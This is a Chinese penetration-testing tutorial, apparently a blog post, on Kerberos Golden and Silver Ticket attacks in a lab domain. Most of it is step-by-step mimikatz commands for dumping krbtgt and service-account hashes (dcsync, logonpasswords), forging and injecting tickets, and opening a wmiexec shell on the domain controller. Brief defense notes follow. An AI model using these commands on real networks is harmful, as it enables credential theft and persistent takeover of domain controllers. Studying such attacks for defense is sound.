内网安全之:黄金&白银票据传递域控制器权限维持

1 Golden Ticket

  • Kerberos的黄金票据详解 - 渗透测试中心 - 博客园 (cnblogs.com)

  • 域环境中存在SID为502的域账号krbtgt,其是KDC服务使用的账号,属于Domain Admins组,在域环境中,每个用户账号的票据都是由krbtgt生成的,如果攻击者拿到了krbtgt 的 NTLM Hash或者 AES-256值,就可以伪造域内任意用户的身份,并以该用户的身份访问其他服务。

  • 使用域的 Golden Ticket(黄金票据)进行票据传递时需要有以下条件:

    • 需要伪造的域管理员用户名。
    • 完整的域名。
    • 域SID。
    • krbtgt 的 NTLM Hash或AES-256值。

1.1 导出 krbtgt 的 NTLM Hash

# 在域控制器上使用mimikatz的 dcsync 功能远程转储活动目录中的 ntds.dit。指定/user只导出 krbtgt 账号的信息。
lsadump::dcsync /domain:test.lab /user:krbtgt
Hash NTLM: fa02a0e57e5ba9189d00990ae64e87ce
aes256_hmac: c93e94f96b1be279a3420f12615048780b92a8ce834c391fad6cdf6326690b22

1.2 获取基本信息

# 1.获取域 SID
wmic useraccount get name,sid # 2.获取当前用户的SID
whoami /user
test\tester01 S-1-5-21-1207377116-2664972910-881425611-1104 # 3.查询域管理员账号
net group "domain admins" /domain # 4.查询域名
ipconfig /all

1.3 Kerberos 的黄金票操作过程

# 1.获取目标主机权限后,查看当前用户及其所属组
net user tester /domain # 2.注入票据前权限测试,此时显示拒绝访问
dir \\dc\c$ # 3. 清空票据
kerberos::purge # 4.利用 krbtgt 的 NTLM 生成包含 krbtgt 身份的票据
kerberos::golden /admin:Administrator /domain:test.lab /sid:S-1-5-21-1207377116-2664972910-881425611 /krbtgt:fa02a0e57e5ba9189d00990ae64e87ce /ticket:Administrator.kiribi
# 4.利用 krbtgt 的 AES-256 值生成包含 krbtgt 身份的票据
kerberos::golden /admin:Administrator /domain:test.lab /sid:S-1-5-21-1207377116-2664972910-881425611 /aes256:c93e94f96b1be279a3420f12615048780b92a8ce834c391fad6cdf6326690b22 /ticket:Administrator.kiribi # 5.传递票据并注入内存
kerberos::ptt Administrator.kiribi # 6.查看当前会话中的票据
kerberos::tgt # 7.验证权限
cscript "wmiexec v1.1.vbs" /shell dc

1.4 防御

使用Golden Ticket 伪造的用户可以是任意用户(即使这个用户不存在)。因为 TGT的加密是由krbtgt完成的,所以,只要 TGT被krbtgt账户和密码正确地加密,那么任意KDC使用krbtgt将TGT解密后,TGT中的所有信息都是可信的。只有在如下两种情况下才能修改krbtgt密码。

  • 域功能级别从 Win2000或 Win2003提升至Win2008或Win 2012。在提升域功能的过程中,krbtgt 的密码会被自动修改。
  • 进行安全检查和相关服务加固时修改 krbtgt 的密码。

2 Silver Ticket

Kerberos的白银票据详解 (bbsmax.com)

Silver Ticket 与 Golden Ticket 的区别:

  • Silver Ticket(白银票据) 的利用过程是伪造 TGS,通过已知的授权服务密码生成一张可以访问该服务的 TGT。因为在票据生成过程中不需要使用 KDC,所以可以绕过域控制器,很少留下日志,而 Golden Ticket 在利用过程中需要由 KDC 颁发 TGT,并且在生成伪造的 TGT 的 20分钟内,TGS 不会对该 TGT 的真伪进行校验。
  • Silver Ticket 依赖于服务账号的密码散列值,这不同于 Golden Ticket 利用需要使用 krbtgt 账号的密码哈希值,因此更加隐蔽。
  • Silver Ticket 会通过相应的服务账号来伪造 TGS,例如:LDAP、MSSQL、WinRM、DNS、CIFS 等,范围有限,只能获取对应服务权限。而 Golden Ticket 使用 krbtgt 账号密码的哈希值,利用伪造高权限的 TGT 向 KDC 要求颁发拥有任意服务访问权限的票据,从而获取域控制器权限。
  • Silver Ticket 是由特定服务账号加密的,Golden Ticket 是由 krbtgt 账号加密的。

2.1 Silver Ticket 的操作过程

2.1.1 使用 Silver Ticket 伪造 CIFS 服务权限

# 1.在域成员主机上进行伪造前权限测试,此时显示拒绝访问
dir \\dc\c$ # 2.在域控制器中,获取服务账号的 NTLM Hash
mimikatz.exe log "privilege::debug" "sekurlsa::logonpasswords"
SID: S-1-5-21-1207377116-2664972910-881425611
NTLM: 0ab1159a13e96c208ff9400b6bbaef31 # 3.在域成员机器上利用 mimikatz 生成伪造的 Silver Ticket 票据
kerberos::golden /domain:<域名> /sid:<域 SID> /target:<目标服务器主机名> /service:<服务类型> /rc4:<NTLMHash> /user:<伪造的用户名> /ptt
kerberos::golden /domain:test.lab /sid:S-1-5-21-1207377116-2664972910-881425611 /target:dc.test.lab /rc4:0ab1159a13e96c208ff9400b6bbaef31 /service:cifs /user:tester01 /ptt

2.1.2 使用 Silver Ticket 伪造 LDAP服务权限

# 1.查看当前权限是否可以使用 dcsync 与控制器进行同步: 使用 dcsync 从域控制器中获取指定用户的账号和密码哈希值,例如 krbtgt。向域控制器获取 krbtgt 的密码哈希值失败,说明当前权限不能进行 dcsync 操作。
# 命令格式
lsadump::dcsync /dc:域DC /domain:域名 /user:域用户名
# 示例
lsadump::dcsync /dc:dc.test.lab /domain:test.lab /user:krbtgt # 2.在域控制器中,获取服务账号的 NTLM Hash
mimikatz.exe log "privilege::debug" "sekurlsa::logonpasswords"
SID: S-1-5-21-1207377116-2664972910-881425611
NTLM: 0ab1159a13e96c208ff9400b6bbaef31 # 3.为了防止其他票据对实验进行干扰,先清除内存中的票据:
klist purge # 4.在域成员机器上利用 mimikatz 生成伪造的 Silver Ticket 票据
# 命令格式
kerberos::golden /domain:<域名> /sid:<域 SID> /target:<目标服务器主机名> /service:<服务类型> /rc4:<NTLMHash> /user:<伪造的用户名> /ptt
# 示例
kerberos::golden /domain:test.lab /sid:S-1-5-21-1207377116-2664972910-881425611 /target:dc.test.lab /rc4:0ab1159a13e96c208ff9400b6bbaef31 /service:ldap /user:tester01 /ptt

2.2 Silver Ticket 可以用于伪造的服务

2.3 Silver Ticket 防御

  • 在内网中安装杀毒软件,及时更新系统补丁。
  • 使用组策略在域中进行相应的配置,限制mimikatz在网络中的使用
  • 计算机的账号和密码默认每30天更改次。 检查该设置是否生效

内网安全之:黄金&白银票据传递域控制器权限维持的更多相关文章

  1. 【内网渗透笔记】Windows2008 R2搭建域控制器

    0x00 前言 将网络中的多台计算机逻辑上组织到一起,进行集中管理,这种区别于工作组的逻辑环境叫做域(domain).域是日常计算机管理的一种很有效手段,因此,域控制器自然而然就在成域环境中最重要的角 ...

  2. [内网渗透]HASH获取与HASH传递

    0x01 PTH简介 PTH,即Pass-The-Hash,首先我们来说下为什么要使用HASH传递,一是在目标机>=win server 2012时,lsass.exe进程中是抓不到明文密码的, ...

  3. 内网渗透-smb&wmi明文&hash传递

    首先我们要知道,在windows2012以上版本默认会关闭wdigest,那么攻击者就无法从内存中获取明文密码了 windows2012以下的版本如果安装了KB2871997补丁,那么同样也会导致无法 ...

  4. 5.内网渗透之PTH&PTT&PTK

    ---------------------------------------------- 本文参考自三好学生-域渗透系列文章 内网渗透之PTH&PTT&PTK PTH(pass-t ...

  5. 票据传递攻击(Pass the Ticket,PtT)

    目录 黄金票据 生成票据并导入 查看票据 验证是否成功 黄金票据和白银票据的不同 票据传递攻击(PtT)是一种使用Kerberos票据代替明文密码或NTLM哈希的方法.PtT最常见的用途可能是使用黄金 ...

  6. WinServer 之 内网发布网站后端口映射外网访问

    内网IP只能在内网局域网访问连接,在外网是不能认识内网IP不能访问的.如有路由权限,且路由有固定公网IP,可以通过路由的端口映射,实现外网访问内网.如无路由,或路由无公网IP,需要用到第三方开放的花生 ...

  7. 【渗透实战】记一次艰难的内网漫游第四期_蹭我WIFI?看我如何利用组合拳日进蹭网者内网

    /文章作者:Kali_MG1937 CSDN博客ID:ALDYS4 QQ:3496925334/ 内网漫游系列第三期:[渗透实战]记一次艰难的内网漫游第三期_我是如何利用APT攻击拿到内网最高权限的 ...

  8. Vulnstack内网靶场2

    环境配置 内网2靶场由三台机器构成:WIN7.2008 server.2012 server 其中2008做为对外的web机,win7作为个人主机可上网,2012作为域控 网络适配器已经设置好了不用自 ...

  9. 内网hash传递

    前言: 我们在平常打点的时候,遇到有内网或者有域的环境的时候,我们只获得了内网中的一台机子的shell,由这台机子我们可以获得这台机子所在的网段的相关其他主机.比如说有域的时候的域控机,有多层内网的堡 ...

  10. 内网渗透-windows认证

    前言:全国HW刚结束,加强一波内网概念,去年11月红队成绩并不理想,这次必拿下好成绩.冲!!! 0x00 本地认证 本地认证基础知识 在本地登录Windows的情况下,操作系统会使用用户输入的密码作为 ...

随机推荐

  1. js day04 实参与形参个数不一致

    // function fn(x, y) {         //     // x = 1         //     // y = undefined         //     // 1 + ...

  2. 浏览器DevTools使用技巧

    我们是袋鼠云数栈 UED 团队,致力于打造优秀的一站式数据中台产品.我们始终保持工匠精神,探索前端道路,为社区积累并传播经验价值. 本文作者:正则 作为一名前端开发人员,平时开发中使用最多的就是 Ch ...

  3. 使用Spring Reactor优化推荐流程

    1. 背景 公司有一个推荐系统Rec,这个系统的主要功能是: 向外部系统提供推荐接口 根据请求获取推荐策略 根据推荐策略完成推荐的召回.过滤.打分.排序阶段 Rec作为微服务中的一环,本身不存储召回的 ...

  4. STL set容器常用API

    set容器,容器内部将数据自动排序(平衡二叉树),不能插入重复元素.multiset可以插入重复元素.不能修改容器中的值,通过删除值,在插入. #define _CRT_SECURE_NO_WARNI ...

  5. [深度学习] imgaug库使用笔记

    imgaug是一款非常有用的python图像增强库,非常值得推荐应用于深度学习图像增强.其包含许多增强技术,支持图像分类,目标检测,语义分割,热图.关键点检测等一系列任务的图像增强.本文主要介绍img ...

  6. Codeforces Hello 2023 CF 1779 A~F 题解

    点我看题 A. Hall of Fame 先把不用操作就合法的情况判掉.然后发现交换LL,RR,RL都是没用的,只有交换LR是有用的,这样可以照亮相邻的两个位置.所以我们就是要找到一个位置i,满足\( ...

  7. ArcEngine开发 - 打开地图读取图层

    地图文档(IMapDocument)对象是ArcEngine开发最基本对象,可以说是所有操作的第一步.使用IMapDocument可以检查和打开地图文档,读取图层信息和文档信息,为源GIS并为您详细分 ...

  8. 【架构设计】你真的理解软件设计中的SOLID原则吗?

    前言 在软件架构设计领域,有一个大名鼎鼎的设计原则--SOLID原则,它是由由Robert C. Martin(也称为 Uncle Bob)提出的,指导我们写出可维护.可以测试.高扩展.高内聚.低耦合 ...

  9. 反馈电路的Bode分析法

    1 前言 在反馈电路的分析中,如果前向放大倍数为Aopen,反馈系数为β,则闭环传递函数Aclose=Aopen/(1+Aopenβ),其中Aopenβ为环路增益.但是,在Aopen和β的计算中均要考 ...

  10. MySQL 字符串长度 char_length、length

    一.方法分类 二.具体方法 函数 描述 区别 char_length(str)或character_length(str) 返回字符串 str 的字符 1.单位为字符2.不管汉字还是数字或者是字母都算 ...